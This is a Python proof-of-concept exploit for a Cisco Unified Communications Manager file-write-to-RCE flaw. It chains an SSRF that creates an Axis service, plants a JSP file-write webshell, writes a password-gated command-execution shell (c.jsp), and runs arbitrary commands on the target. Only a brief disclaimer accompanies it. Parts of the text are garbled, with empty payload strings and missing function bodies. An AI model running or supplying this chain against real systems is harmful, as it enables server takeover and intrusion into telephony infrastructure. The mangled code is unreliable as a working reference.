#!/usr/bin/env python3 """ CVE-2026-20230 - Cisco Unified Communications Manager (CUCM) Arbitrary File Write RCE PoC Affected: Cisco Unified Communication Manager 15.0.1.13901-2 Attack Chain: 1. Get real hostname via /webdialer/Version.jws?wsdl 2. SSRF via /cmplatform/installClusterStatusExecute to create Axis service (randomR11) 3. Use randomR11 service to write webshell (aaa.jsp) 4. Use aaa.jsp to write command execution shell (c.jsp) 5. Execute arbitrary commands via c.jsp DISCLAIMER: For authorized security research and educational purposes only. """ import requests import urllib.parse import sys import argparse import re requests.packages.urllib3.disable_warnings() def get_hostname(target): """ Step 1: Get the real hostname of the target. The SSRF filter blocks 127.0.0.1 and localhost, but allows the real hostname. """ url = f"https://{target}/webdialer/Version.jws?wsdl" print(f"[*] Step 1: Fetching hostname from {url}") try: resp = requests.get(url, verify=False, timeout=10) if resp.status_code == 200: # Extract hostname from WSDL - typically in or similar # The actual hostname is embedded in the WSDL response match = re.search(r'location="https?://([^"/]+)', resp.text) if match: hostname = match.group(1) print(f"[+] Hostname found: {hostname}") return hostname else: # Fallback: try to find any hostname-like pattern print("[!] Could not parse hostname from WSDL, using target IP") return target else: print(f"[-] Failed to get hostname, HTTP {resp.status_code}") return None except Exception as e: print(f"[-] Error getting hostname: {e}") return None def ssrf_create_axis_service(target, hostname): """ Step 2: SSRF to create an Axis service (randomR11) that allows arbitrary file write. The SSRF works by: - Sending a request to /cmplatform/installClusterStatusExecute - The 'hostname' parameter is used to construct an internal URL - We inject a path traversal + Axis deployment descriptor - The `!--` escapes the normal installstages XML output - LogHandler writes the deployment descriptor to aaa.jsp The payload creates an Axis service named 'randomR11' backed by java.util.Random, allowing us to call any method (*) including nextInt() with arbitrary arguments. """ # Base path that the SSRF will request internally # vm01 is the real hostname, used as prefix to reach the internal API base_path = f"{hostname}/webdialer/services/AdminService/platformcom/api/v1/software/installstages/" # The deployment descriptor injected after !-- (which closes XML comment in response) # This creates an Axis LogHandler that writes the deployment XML to aaa.jsp deployment_xml = ( '!-->' '' '' '' '' '' '' '' '' '' '' ' This takes params f (filename) and t (content) to write arbitrary files. """ # JSP webshell that takes f=filename and t=content to write files webshell_code = ( '<%if(request.getParameter("f")!=null)' '(new java.io.FileOutputStream(' 'application.getRealPath("/")+request.getParameter("f")))' '.write(request.getParameter("t").getBytes());%>' ) payload = f"" url = f"https://{target}/webdialer/services/randomR11" params = { "method": "nextInt", "arg0": payload } print(f"[*] Step 3: Writing initial webshell (aaa.jsp)") print(f"[*] URL: {url}") headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Referer": f"https://{target}/webdialer/services", } try: resp = requests.get(url, params=params, headers=headers, verify=False, timeout=15) print(f"[*] Response status: {resp.status_code}") # May return error even on success (the payload is not a valid int) return True except Exception as e: print(f"[-] Error: {e}") return False def write_command_shell(target): """ Step 4: Use aaa.jsp to write the command execution shell (c.jsp). aaa.jsp params: f = relative path to write to t = URL-encoded JSP command shell content The command shell: <% if("123".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec( request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("
");
         while((a=in.read(b))!=-1){ out.println(new String(b)); }
         out.print("
"); } %> Takes pwd=123 for auth, i=command to execute. """ # Command execution JSP cmd_shell = ( '<% if("123".equals(request.getParameter("pwd"))){' ' java.io.InputStream in = Runtime.getRuntime().exec(' 'request.getParameter("i")).getInputStream();' ' int a = -1;' ' byte[] b = new byte[2048];' ' out.print("
");'
        ' while((a=in.read(b))!=-1){ out.println(new String(b)); }'
        ' out.print("
");' ' } %>' ) url = f"https://{target}/platform-services/axis2-web/aaa.jsp" params = { "f": "../../../../../../../common/log/taos-log-a/tomcat/webapps/platform-services/axis2-web/c.jsp", "t": cmd_shell } print(f"[*] Step 4: Writing command execution shell (c.jsp)") print(f"[*] URL: {url}") headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", } try: resp = requests.get(url, params=params, headers=headers, verify=False, timeout=15) print(f"[*] Response status: {resp.status_code}") return True except Exception as e: print(f"[-] Error: {e}") return False def execute_command(target, command="id"): """ Step 5: Execute arbitrary commands via c.jsp. c.jsp params: pwd = 123 (authentication) i = command to execute """ url = f"https://{target}/platform-services/axis2-web/c.jsp" params = { "pwd": "123", "i": command } print(f"[*] Step 5: Executing command: {command}") print(f"[*] URL: {url}") headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", } try: resp = requests.get(url, params=params, headers=headers, verify=False, timeout=15) print(f"[*] Response status: {resp.status_code}") if resp.status_code == 200: print(f"[+] Command output:\n{resp.text}") return resp.text else: print(f"[-] Failed: HTTP {resp.status_code}") print(resp.text) return None except Exception as e: print(f"[-] Error: {e}") return None def check_vulnerable(target): """ Quick check if target appears to be a CUCM instance. """ url = f"https://{target}/webdialer/Version.jws?wsdl" print(f"[*] Checking if target is CUCM: {url}") try: resp = requests.get(url, verify=False, timeout=10) if resp.status_code == 200 and ("webdialer" in resp.text.lower() or "wsdl" in resp.text.lower()): print("[+] Target appears to be CUCM - WSDL endpoint accessible") return True print("[-] Target does not appear to be vulnerable CUCM") return False except Exception as e: print(f"[-] Connection failed: {e}") return False def full_exploit(target, command="id"): """Run the full exploit chain.""" print(f"\n{'='*60}") print(f" CVE-2026-20230 CUCM RCE Exploit") print(f" Target: {target}") print(f"{'='*60}\n") # Step 1: Get hostname hostname = get_hostname(target) if not hostname: print("[-] Failed to get hostname, aborting") return False # Step 2: Create Axis service via SSRF if not ssrf_create_axis_service(target, hostname): print("[-] Failed to create Axis service, aborting") return False # Step 2b: Verify verify_axis_service(target) # Step 3: Write initial webshell if not write_initial_webshell(target): print("[-] Failed to write initial webshell, aborting") return False # Step 4: Write command shell if not write_command_shell(target): print("[-] Failed to write command shell, aborting") return False # Step 5: Execute command execute_command(target, command) return True def main(): parser = argparse.ArgumentParser( description="CVE-2026-20230 CUCM Arbitrary File Write RCE PoC" ) parser.add_argument("target", help="Target host (e.g., 192.168.182.50)") parser.add_argument("-c", "--command", default="id", help="Command to execute (default: id)") parser.add_argument("--check", action="store_true", help="Only check if target is vulnerable") parser.add_argument("--hostname", help="Provide hostname manually (skip auto-detection)") parser.add_argument("--port", type=int, default=443, help="Target port (default: 443)") args = parser.parse_args() # Format target with port if needed target = args.target if ":" not in target and args.port != 443: target = f"{target}:{args.port}" if args.check: check_vulnerable(target) return full_exploit(target, args.command) if __name__ == "__main__": main()